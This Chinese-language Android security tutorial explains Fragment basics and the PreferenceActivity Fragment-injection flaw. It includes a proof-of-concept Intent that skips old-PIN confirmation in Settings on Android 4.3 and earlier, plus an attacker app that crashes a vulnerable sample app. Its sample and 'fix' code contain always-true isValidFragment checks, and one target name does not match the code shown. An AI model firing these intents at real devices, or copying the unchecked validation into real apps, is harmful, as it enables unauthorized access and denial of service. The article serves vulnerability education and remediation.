關於Android Fragment 漏洞,你瞭解多少?

也許每個人出生的時候都以為這世界都是為他一個人而存在的,當他發現自己錯的時候,他便開始長大

少走了彎路,也就錯過了風景,無論如何,感謝經歷

更多關於Android安全的知識,可前往:https://blog。csdn。net/ananasorangey/category11955914。html

關於Android Fragment 漏洞,你瞭解多少?

關於Android Fragment 漏洞,你瞭解多少?

0x01 前言

為了適應越來越大的裝置螢幕,Android 3。X後引入了Fragment概念,作用是可以在一個螢幕上同時顯示多個Activity,以達到充分利用螢幕的目的。其中,Fragment有一個很強大的功能,就是可以動態載入。這樣可以讓整個介面的開發更加靈活,可以根據不同的場景動態加載入不同的Activity

Fragment:

是Android 3。0(API 11)提出的,為了相容低版本,support-v4庫中也開發了一套Fragment API,最低相容Android 1。6,如果要在最新的版本中使用Fragment,需要引入AndroidX的包

是Activity中使用者介面的一個行為或者是一部分。主要是支援在大螢幕上動態和更為靈活的去組合或是交換UI元件,透過將Activity的佈局分割成若干個Fragment,可以在執行時編輯Activity的呈現,並且那些變化會被儲存在由Activity管理的後臺棧裡面

必須總是被嵌入到一個Activity之中,並且Fragment的生命週期直接受其宿主Activity的生命週期的影響。可以認為Fragment是Activity的一個模組零件,它有自己的生命週期,接收它自己的輸入事件,並且可以在Activity執行時新增或者刪除

簡單的來說,應該將每一個Fragment設計為模組化的和可複用化的Activity元件。也就是說,你可以在多個Activity中引用同一個Fragment,因為Fragment定義了它自己的佈局,並且使用它本身生命週期回撥的行為

相比Activity,Fragment具有如下一些特點:

模組化(Modularity):我們不必把所有程式碼全部寫在Activity中,而是把程式碼寫在各自的Fragment中

可重用(Reusability):多個Activity可以重用一個Fragment

可適配(Adaptability):根據硬體的螢幕尺寸、螢幕方向,能夠方便地實現不同的佈局,這樣使用者體驗更好

Fragment 幾個核心的類:

Fragment:Fragment的基類,任何建立的Fragment都需要繼承該類

FragmentManager:管理和維護Fragment。它是抽象類,具體的實現類是FragmentManagerImpl

FragmentTransaction:對Fragment的新增、刪除等操作都需要透過事務方式進行。它是抽象類,具體的實現類是BackStackRecord

1。1 生命週期

Fragment必須是依存於Activity而存在的,因此Activity的生命週期會直接影響到Fragment的生命週期。正常情況下,Activity會經歷如下幾個階段:

生命週期函式

相關解釋

onAttach()

關聯到Activity的時候呼叫。如果,需要使用Activity的引用或者使用Activity作為其他操作的上下文,將在此回撥方法中實現

onCreate()

系統建立Fragment的時候回撥

onCreateView()

當第一次繪製Fragment的UI時系統呼叫這個方法,該方法將返回一個View,如果Fragment不提供UI也可以返回null。注意,如果繼承自ListFragment,onCreateView()預設的實現會返回一個ListView,所以不用自己實現。這個函式的Bundle引數和onCretate()函式的Bundle蠶食是同一個

onActivityCreated()

當Activity中的onCreate方法執行完後呼叫。可以在這個函數里面做和Activity UI互動的操作(因為Activity的onCreate()函式之後Activity的UI已經準備好了,可以UI互動)。這個函式的Bundle引數和onCretate()函式的Bundle蠶食是同一個

onStart()

啟動Fragment的時候回撥,這個時候Fragment可見

onResume()

Fragment變為活動狀態獲取焦點的時候是回撥,這個時候Fragment已經完全展示在前臺,並且可以和使用者互動

onPause()

Fragemnt變成非活動狀態失去焦點的時候呼叫,注意這個時候Fragment還是可見的,只是不能和使用者互動了而已

onStop()

Fragment變成不可見的時候呼叫。這個時候Fragment還是活著的,只是可能別加入到了Fragment的回退棧中

onDestroyView()

Fragment中的佈局被移除的時候呼叫

onDestroy()

Fragment被銷燬的時候呼叫

onDetach()

Fragment和Activity解除關聯的時候呼叫個

如下圖所示:

關於Android Fragment 漏洞,你瞭解多少?

如下圖是Activity的生命週期和Fragment的各個生命週期方法的對應關係:

關於Android Fragment 漏洞,你瞭解多少?

1。2 與Activity傳遞資料

1)將Fragment新增到Activity之中

可以透過在Activity佈局檔案中宣告Fragment,用Fragment標籤把Fragment插入到Activity的佈局中,或者是用應用程式原始碼將它新增到一個存在的ViewGroup中。 但Fragment並不是一個定要作為Activity佈局的一部分,Fragment也可以為Activity隱身工作

2)在Activity的佈局檔案裡宣告Fragment

可以像為view一樣為Fragment指定佈局屬性。例如:

<?xml version=“1。0” encoding=“utf-8”?>

Fragment標籤中的android:name 屬性指定了佈局中例項化的Fragment類。

當系統建立Activity佈局時,它例項化了佈局檔案中指定的每一個Fragment,併為它們呼叫onCreateView()函式,以獲取每一個Fragment的佈局。系統直接在元素的位置插入Fragment返回的View

:每個Fragment都需要一個唯一的標識,如果重啟Activity,系統可用來恢復Fragment(並且可用來捕捉Fragment的事務處理,例如移除)。為Fragment提供ID有三種方法:

1)用android:id屬性提供一個唯一的標識2)用android:tag屬性提供一個唯一的字串3)如果上述兩個屬性都沒有,系統會使用其容器檢視(view)的ID

3)透過編碼將Fragment新增到已存在的ViewGroup中

在Activity執行的任何時候,你都可以將Fragment新增到Activity佈局中。要管理Activity中的Fragment,可以使用FragmentManager。可以透過在Activity中呼叫getFragmentManager()獲得。使用FragmentManager 可以做如下事情,包括:

使用findFragmentById()(用於在Activity佈局中提供有介面的Fragment)或者findFragmentByTag()獲取Activity中存在的Fragment(用於有介面或者沒有介面的Fragment)

使用popBackStack()(模仿使用者的BACK命令)從後臺棧彈出Fragment

使用addOnBackStackChangedListener()註冊一個監聽後臺棧變化的監聽器

在Android中,對Fragment的事務操作都是透過FragmentTransaction來執行。操作大致可以分為兩類:

顯示:add() replace() show() attach()

隱藏:remove() hide() detach()

:呼叫show() & hide()方法時,Fragment的生命週期方法並不會被執行,僅僅是Fragment的View被顯示或者隱藏

執行replace()時(至少兩個Fragment),會執行第二個Fragment的onAttach()方法、執行第一個Fragment的onPause()-onDetach()方法,同時containerView會detach第一個Fragment的View

add()方法執行onAttach()-onResume()的生命週期,相對的remove()就是執行完成剩下的onPause()-onDetach()週期

可以像下面這樣從Activity中取得FragmentTransaction的例項:

FragmentManager FragmentManager = getFragmentManager()FragmentTransaction FragmentTransaction = FragmentManager。beginTransaction();

可以用add()函式新增Fragment,並指定要新增的Fragment以及要將其插入到哪個檢視(view)之中(注意commit事務):

ExampleFragment Fragment = new ExampleFragment();FragmentTransaction。add(R。id。Fragment_container, Fragment);FragmentTransaction。commit();

4)Fragment事務後臺棧

在呼叫commit()之前,可以將事務新增到Fragment事務後臺棧中(透過呼叫addToBackStatck())。這個後臺棧由Activity管理,並且允許使用者透過按BACK鍵回退到前一個Fragment狀態。

下面的程式碼中一個Fragment代替另一個Fragment,並且將之前的Fragment狀態保留在後臺棧中:

Fragment newFragment = new ExampleFragment();FragmentTransaction transaction = getFragmentManager()。beginTransaction();transaction。replace(R。id。Fragment_container, newFragment);transaction。addToBackStack(null);transaction。commit();

如果新增多個變更事務(例如另一個add()或者remove())並呼叫addToBackStack(),那麼在呼叫commit()之前的所有應用的變更被作為一個單獨的事務新增到後臺棧中,並且BACK鍵可以將它們一起回退

當移除一個Fragment時,如果呼叫了addToBackStack(),那麼之後Fragment會被停止,如果使用者回退,它將被恢復過來

呼叫commit()並不立刻執行事務,相反,而是採取預約方式,一旦Activity的介面執行緒(主執行緒)準備好便可執行起來。然而,如果有必要的話,你可以從介面執行緒呼叫executePendingTransations()立即執行由commit()提交的事務

只能在Activity儲存狀態(當用戶離開Activity時)之前用commit()提交事務。如果你嘗試在那時之後提交,會丟擲一個異常。這是因為如果Activity需要被恢復,提交後的狀態會被丟失。對於這類丟失提交的情況,可使用commitAllowingStateLoss()

5)與Activity互動

Activity中已經有了該Fragment的引用,直接透過該引用進行互動。

如果沒引用可以透過呼叫Fragment的函式findFragmentById()或者findFragmentByTag(),從FragmentManager中獲取Fragment的索引,例如:

ExampleFragment Fragment = (ExampleFragment) getFragmentManager()。findFragmentById(R。id。example_Fragment);

在Fragment中可以透過getActivity得到當前繫結的Activity的例項,建立Activity事件回撥函式,在Fragment內部定義一個回撥介面,宿主Activity來實現它。Activity向Fragment傳參:

很多人提到向Fragment傳遞引數會下意識想到重寫Fragment的構造方法並傳入自己的引數。事實上,這種方式時極不科學和極不安全的,因為Android在很多場景下都會出現Fragment的重建情況(比如橫豎屏的切換),但是重建的時候系統並不會使用你編寫的Fragment的構造方法而是呼叫Fragment預設的構造方法,這個時候你傳的引數將會消失導致各種異常。那麼如何更安全地向Fragment傳遞引數呢,Google官方推薦的setArguments方法:

初始化Fragment例項並setArguments

DiscoverFragment discoverFragment = new DiscoverFragment();Bundle bundle = new Bundle();bundle。putString(“email”, email);discoverFragment。setArguments(bundle);

在Fragment中拿到Arguments:

@Nullable @Override public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { View view = inflater。inflate(R。layout。Fragment_discover, null); Bundle bundle = getArguments(); //這裡就拿到了之前傳遞的引數 email = bundle。getString(“email”); return view; }

Fragment向Activity傳遞資料

首先,在Fragment中定義介面,並讓Activity實現該介面,如下:

public interface OnFragmentInteractionListener { void onItemClick(String str); }

接下來,在Fragment的onAttach()中,將引數Context強轉為OnFragmentInteractionListener物件傳遞過去

public void onAttach(Context context) { super。onAttach(context); if (context instanceof OnFragmentInteractionListener) { mListener = (OnFragmentInteractionListener) context; } else { throw new RuntimeException(context。toString() + “ must implement OnFragmentInteractionListener”); }}

Activity向Fragment傳遞資料

在建立Fragment的時候,可以透過setArguments(Bundle bundle)方式將值傳遞給Activity,如下:

public static Fragment newInstance(String str) { FragmentTest fragment = new FragmentTest(); Bundle bundle = new Bundle(); bundle。putString(ARG_PARAM, str); fragment。setArguments(bundle);//設定引數 return fragment; }

6)Fragment && Fragment資料互動

Fragment和Fragment間資料互動,應該也是會經常用到的。可使用宿主Activity做傳遞媒介,原理其實也是透過使用onActivityResult回撥,完成Fragment && Fragment的資料互動,這其中有兩個比較重要的方法:Fragment。setTargetFragment、getTargetFragment()

在 FirstFragment 中,透過setTargetFragment來連線需要互動的Fragment:

secondFragment。setTargetFragment(FirstFragment。this, REQUEST_CODE);

接著實現onActivityResult,處理傳遞過來的資料:

@Override public void onActivityResult(int requestCode, int resultCode, Intent data) { super。onActivityResult(requestCode, resultCode, data); if(resultCode != Activity。RESULT_OK){ return; }else{ Integer str = data。getIntExtra(“key”,-1); //處理資料。。。 } }

在 SecondFragment 中呼叫sendResult()方法,回傳資料給 FirstFragment:

private void sendResult(int resultOk) { if (getTargetFragment() == null) { return } else { Intent intent = new Intent(); intent。putExtra(“key”, 520); getTargetFragment()。onActivityResult(FirstFragment。REQUEST_CODE, resultOk, intent) }}

1。3 Android Fragment 漏洞產生的原因

Android是基於Linux開放性核心的作業系統,是Google公司在2007年釋出的手機作業系統

Google Android 4。3及之前版本的沙盒環境存在安全漏洞,該漏洞影響任何使用PreferenceActivity類的應用,包括Settings, Gmail, Google Now, Dropbox, Evernote。攻擊者可利用此漏洞執行任意程式碼,從而繞過Android沙盒,執行未授權操作

Android 4。3及之前版本在應用中採用不安全的 PreferenceActivity 類實施方式的開發者。在這種情況下,這些類會讓人利用 Fragment 實現注入攻擊,這種實現方式讓惡意的外部應用可以載入原本不公開的 Fragment。例如,透過匯出的PreferenceActivity的子類,沒有正確處理Intent的extra值。攻擊者可繞過限制訪問未授權的介面

從 2017 年 3 月 1 日起,Google Play 開始禁止釋出存在以下情況的新應用或應用更新:其 PreferenceActivity 類可能有安全漏洞,讓攻擊者可以利用 Fragment 實現注入攻擊。請參閱 Play 管理中心內的通知。在 Play 管理中心顯示的截止日期過後,系統可能會將所有包含未修復安全漏洞的應用從 Google Play 中移除

產生的原因

錯誤地實施 isValidFragment:

檢查存在漏洞的類是否包含或沿用了實施 isValidFragment 的方式(即在所有程式碼路徑中返回 True)。如果確實是這樣,請更新該類,以檢查是否存在允許的 Fragment 類列表。例如:如果 PreferenceActivity 應該允許使用 MyFragment 類而不得使用其他 Fragment,請按照如下方式實施檢查:

public boolean isValidFragment(String fragmentName) { return MyFragment。class。getName()。equals(fragmentName);}

targetSdkVersion 小於 19 並且未實施 isValidFragment:

如果應用目前在清單中將其 targetSdkVersion 設為小於 19 的值,並且存在漏洞的類不包含 isValidFragment 的任何實施方式,那麼漏洞便來自於 PreferenceActivity。

:由於Fragment可以載入APP內的任意未匯出元件,因此Fragment注入漏洞可攻擊面比較廣

0x02 經典Setting Fragment Inject漏洞之繞過舊密碼驗證修改密碼

首先我們來看一個經典的老洞,雖然現在沒有了,但漏洞產生的原理,還是值得思考,而且修復的方式並不一定代表再新的版本中就不存在,這取決於開發人員的安全能力

Android 4.4之前版本的Fragment繞過PIN碼攻擊原理

匯出的PreferenceActivity的子類中,沒有加入isValidFragment方法,進行fragment名的合法性校驗,攻擊者可能會透過設定Intent的extra,實現動態修改PreferenceActivity的初次顯示的Fragment,來繞過限制,訪問未授權的介面

關於Android Fragment 漏洞,你瞭解多少?

攻擊條件

Android 4。3及之前版本

有Activity繼承PreferenceActivity類並且被宣告成export=true

攻擊面

在Java中,當一個物件被構建的時候,這個類的靜態構建函式和物件的構建函式都被執行,如果這兩個函式包含特定的程式碼, 則可以觸發攻擊,由於構建出來的物件需要轉換成Fragment物件,所以當產生的物件不是Fragment型別則會出異常

但是,如果這個物件剛好是一個Fragment型別時,PreferenceActivity能展現對應的介面,可以繞過某些驗證而直接撥出對應的介面

手工檢測

反編譯APK,檢索到繼承PreferenceActivity的子類,檢視子類是否重寫了isValidFragment方法,Activity是否對外暴露(exported)

相關知識

PreferenceActivity兩個重要的Intent Extra

這兩個引數可以決定當前的PreferenceActivity首次顯示的Fragment

// extra域包含PreferenceActivity要動態載入的FragmentPreferenceActivity。EXTRA_SHOW_FRAGMENT (‘:android:show_fragment’) // extra域包含傳給該Fragment的引數PreferenceActivity。EXTRA_SHOW_FRAGMENT_ARGUMENTS (‘:android:show_fragment_arguments’)

:Android Framework提供了android。preference。PreferenceActivity這個類來對preference進行展示,我們可以繼承這個類來展示preference並進行擴充套件。基類中會接收Intent資料,並進行一定檢查,如上兩個類就是

Fragment與Activity的關係

一個activity提供一個單一的螢幕和一些功能,一個activity可以包含多個Fragment

Fragment可以在不同的activities中重用

Android框架支援在Activity中以Fragment的形式展示介面,而PreferenceActivity是一個支援Fragment的基類activity,它會根據傳人的引數EXTRA_SHOW_FRAGMENT, (‘:android:show_fragment’)動態建立fragment而現實相應的介面, 問題就出在PreferenceActivity沒有檢查傳入的引數, 盲目的根據傳入的引數構建物件

利用Fragment實現注入攻擊。從3。X後,Android工程師重構PreferenceActivity的實現,採用Fragment實現介面的載入。透過閱讀原始碼可以發現,PreferenceActivity的onCreate裡,需要讀取Intent的多個extra內容,常量都定義在PreferenceActivity裡(那堆EXTRA_XXXX就是了),其中有兩個常量分別是EXTRA_SHOW_FRAGMENT=“:android:show_fragment”和EXTRA_SHOW_FRAGMENT_ARGUMENTS=“:android:show_fragment_args”,這兩個引數可以決定當前的PreferenceActivity首次顯示的Fragment。過程比較簡單,就是先拿到fragment_class和fragment_args,然後透過反射生成一個Fragment例項,並動態載入。引數傳遞關鍵點:引數傳遞

第一個extra域包含PreferenceActivity要動態載入的Fragment,Fragment也可以透過Fragment。getActivity這個函式來獲取傳進來的引數。PreferenceActivity會呼叫Fragment。instantiate來動態載入Fragment。這個函式透過反射來載入Fragment,並把它變成Fragment物件

第二個extra域包含傳給該Fragment的引數,其中最關鍵的邏輯程式碼如下:

mSinglePane = hidingHeaders || !onIsMultiPane();String initialFragment = getIntent()。getStringExtra(EXTRA_SHOW_FRAGMENT);Bundle initialArguments = getIntent()。getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);int initialTitle = getIntent()。getIntExtra(EXTRA_SHOW_FRAGMENT_TITLE, 0);int initialShortTitle = getIntent()。getIntExtra(EXTRA_SHOW_FRAGMENT_SHORT_TITLE, 0);

先獲取initalFragment和initialArguments兩個引數,之後在switchToHeaderInner裡完成例項化:

private void switchToHeaderInner(String fragmentName, Bundle args, int direction) { getFragmentManager()。popBackStack(BACK_STACK_PREFS, FragmentManager。POP_BACK_STACK_INCLUSIVE); Fragment f = Fragment。instantiate(this, fragmentName, args); FragmentTransaction transaction = getFragmentManager()。beginTransaction(); transaction。setTransition(FragmentTransaction。TRANSIT_FRAGMENT_FADE); transaction。replace(com。android。internal。R。id。prefs, f); transaction。commitAllowingStateLoss();}

到此為止,我們可以透過設定Intent的extral,實現動態修改PreferenceActivity的初次顯示的Fragment

多囉嗦一下,其實Fragment也可以透過Fragment。getActivity這個函式來獲取傳進來的引數。PreferenceActivity會呼叫Fragment。instantiate來動態載入Fragment。這個函式透過反射來載入Fragment,並把它變成Fragment物件,如下圖:

https://www。androidos。net。cn/android/4。3_r1/xref/frameworks/base/core/java/android/app/Fragment。java

關於Android Fragment 漏洞,你瞭解多少?

任何繼承自PreferenceActivity並對外匯出的元件,都會受到攻擊。惡意APP可以傳android:show_fragment這個extra值來指定要動態載入的類。在PreferenceActivity的context裡,透過dalvik。system。PathClassLoader函式來動態載入類,由於沒有對請求的APP進行校驗,惡意APP可以動態載入有漏洞APP裡面的任何類(包括未匯出類),使得惡意APP可以訪問有漏洞APP的隱私資訊

對比4。4和4。2之間的區別程式碼,如下:

https://www。androidos。net。cn/android/4。4。4_r1/xref/frameworks/base/core/java/android/app/Fragment。java

關於Android Fragment 漏洞,你瞭解多少?

https://www。androidos。net。cn/android/4。2。2_r1/xref/frameworks/base/core/java/android/app/Fragment。java

關於Android Fragment 漏洞,你瞭解多少?

在Android系統裡,APP與APP是互相隔離的,互相之間不能訪問對方的私有資料。APP與APP之間(更準確地說應該是元件與元件之間)的通訊,統一使用Intent。透過Intent可以很方便的喚起其他APP的Activity,達到功能重用的目的。比如平時使用ZAKER,你需要在微信圈裡分享,透過這種方式就可以直接跳到微信的分享介面了。但使用這種方式的前提是目標Activity是exported的

結合上面的兩個關鍵點,我們是否可以尋找一個exported的PreferenceActivity的子類,並透過精心設定Intent的extral的值,以實現開啟那些沒有exported的介面呢?如果這些介面涉及安全方面資訊的話,又會怎樣呢?

Android 3。X到4。3中的所有版本的一個漏洞,太老了沒啥用(但攻擊的思路以及概念值得參考),Setting幾乎每個Android裝置都有的。Setting是以system_uid方式簽名,所以具備行使system的權力。它的主介面com。android。settings。Settings就是繼承自PreferenceActivity,而且肯定是exported。我們以此作為入口,嘗試尋找Setting裡有哪些重要的Fragment,並嘗試把它載入進來,主要目的是希望可以跳過某些需要使用者互動的限制。比如說ChooseLockPassword$ChooseLockPasswordFragment這個Fragment,這個類主要是負責鎖屏介面的密碼設定和修改。同時,這個類會根據之前傳入的initialArguments做不同的邏輯,關鍵程式碼如下所示:

Intent intent = getActivity()。getIntent();final boolean confirmCredentials = intent。getBooleanExtra(“confirm_credentials”, true);if (savedInstanceState == null) { updateStage(Stage。Introduction); if (confirmCredentials) { mChooseLockSettingsHelper。launchConfirmationActivity(CONFIRM_EXISTING_REQUEST, null, null); }} else { mFirstPin = savedInstanceState。getString(KEY_FIRST_PIN); final String state = savedInstanceState。getString(KEY_UI_STAGE); if (state != null) { mUiStage = Stage。valueOf(state); updateStage(mUiStage); }}

如果傳入的引數當中,key為”confirm_credentials”為true,就會調起舊密碼驗證的流程。如果為false,就可以跳過舊密碼驗證而直接進入密碼修改的流程。測試程式碼如下所示:

Intent intent = new Intent();intent。setFlags(Intent。FLAG_ACTIVITY_CLEAR_TASK);intent。setClassName(“com。android。settings”, “com。android。settings。Settings”);intent。putExtra(“: android: show_fragment”, “com。android。settings。ChooseLockPassword$ChooseLockPasswordFragment”);intent。putExtra(“confirm_credentials”, false);startActivity(intent);

繞過密碼PIN BUG存在於3。X到4。3中的所有版本,4。4已經修復了,在Android 4。4中強制所有PreferenceActivity必須要實現isValidFragment方法,如下:

https://developer。android。com/reference/android/preference/PreferenceActivity。html#isValidFragment(java。lang。String)

關於Android Fragment 漏洞,你瞭解多少?

正常的密碼修改流程是“設定”->“安全”->“螢幕鎖定”->“確認你的PIN”,如下:

關於Android Fragment 漏洞,你瞭解多少?

如果利用攻擊程式碼,即可跳過“確認你的PIN”直接進入“選擇你的PIN”頁面,如下:

關於Android Fragment 漏洞,你瞭解多少?

:漏洞雖然修復了,但是修復能力主要依賴於開發人員的安全能力問題,這類問題在新版本上,依然存在

2。1 修復建議

如果應用的Activity元件不必要匯出,或者元件配置了intent filter標籤,建議顯示設定元件的“android:exported”屬性為false

重寫繼承子類的isValidFragment方法,驗證Fragment來源的正確性

當targetSdk大於等於19時,強制實現了isValidFragment方法;小於19時,在PreferenceActivity的子類中都要加入isValidFragment ,兩種情況下在isValidFragment方法中進行fragment名的合法性校驗。

isValidFragment(String fragmentName) 返回Boolean(子類應當重寫這個方法,並對fragment進行校驗判斷)

public final class MyPreferenceActivity extends PreferenceActivity { private boolean doValidcheck(String fragmentName) throws IllegalArgumentException { // TODO 做合法性檢查return true;// 注意check,千萬要注意} // 新增上這個方法,以使2。x~4。3的程式碼在4。4上可以正常執行 protected boolean isValidFragment(String fragmentName) { return doValidcheck(fragmentName); }@Overrideprotected void onCreate(Bundle savedInstanceState) { // 在onCreate前就做合法性判斷String fragmentname = getIntent()。getStringExtra(“:android:show_fragment”); doValidcheck(fragmentname); super。onCreate(savedInstanceState); } }

0x03 Android Fragment之拒絕服務

樣本APK下載地址:https://github。com/AndroidAppSec/vuls/releases/tag/v4。2

由於透過該漏洞可以載入APP裡面的任何類,包括未匯出類,如果未匯出類對畸形訊息處理不當,將會導致本地拒絕服務漏洞。下面以vuls。apk為例

ddns。android。vuls。activities。Activity。FragmentActivity元件對外匯出:

關於Android Fragment 漏洞,你瞭解多少?

ddns。android。vuls。activities。Activity。FragmentActivity元件繼承自PreferenceActivity:

public class FragmentActivity extends PreferenceActivity { @Override protected void onCreate(Bundle savedInstanceState) { super。onCreate(savedInstanceState); } @Override protected boolean isValidFragment(String fragmentName) { Log。e(“FragmentVuls”, “fragmentName: ” + fragmentName); return true; }}

關於Android Fragment 漏洞,你瞭解多少?

由於沒有對Fragment注入漏洞進行防禦,可透過該漏洞載入app內任意不匯出的元件。選擇com。irccloud。android。fragment。ServerReorderFragment作為攻擊目標:

public class TargetFragment extends Fragment { public TargetFragment() { Log。e(“DDNS: ”, “TargetFragment‘s constructor”); } @Override public void onCreate(Bundle savedInstanceState) { super。onCreate(savedInstanceState); } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view = inflater。inflate(R。layout。fragment_target,null); WebView webview = (WebView) view。findViewById(R。id。webview_fragment); webview。getSettings()。setJavaScriptEnabled(true); webview。loadUrl(getActivity()。getIntent()。getDataString()); return view; }}

ServerReorderFragment沒有對畸形訊息進行處理,導致拒絕服務,攻擊EXP,如下:

MainActivity。java 程式碼:

package com。example。testpoc4;import androidx。appcompat。app。AppCompatActivity;import android。content。Intent;import android。os。Bundle;import android。util。Log;import android。view。View;import android。widget。Button;import android。widget。Toast;public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super。onCreate(savedInstanceState); setContentView(R。layout。activity_main); // 獲取控制元件id Button button1 = findViewById(R。id。button); // 監聽點選事件 button1。setOnClickListener(new View。OnClickListener() { @Override public void onClick(View v) { // 要執行的操作 Intent intent=new Intent(); intent。setFlags(Intent。FLAG_ACTIVITY_CLEAR_TASK); //包名 包名+類名(全路徑) intent。setClassName(“ddns。android。vuls”, “ddns。android。vuls。activities。Activity。FragmentActivity”); intent。putExtra(“:android:show_fragment”,“BaoBaoBaoBaoBaoBao”); startActivity(intent); //成功Dos後的提示 Toast。makeText(MainActivity。this,“Dos攻擊ddns。android。vuls應用”, Toast。LENGTH_SHORT)。show(); Log。d(“拒絕服務攻擊:”,“ddns。android。vuls 應用被Dos攻擊”); } }); }}

activity_main。xml 程式碼:

<?xml version=“1。0” encoding=“utf-8”?>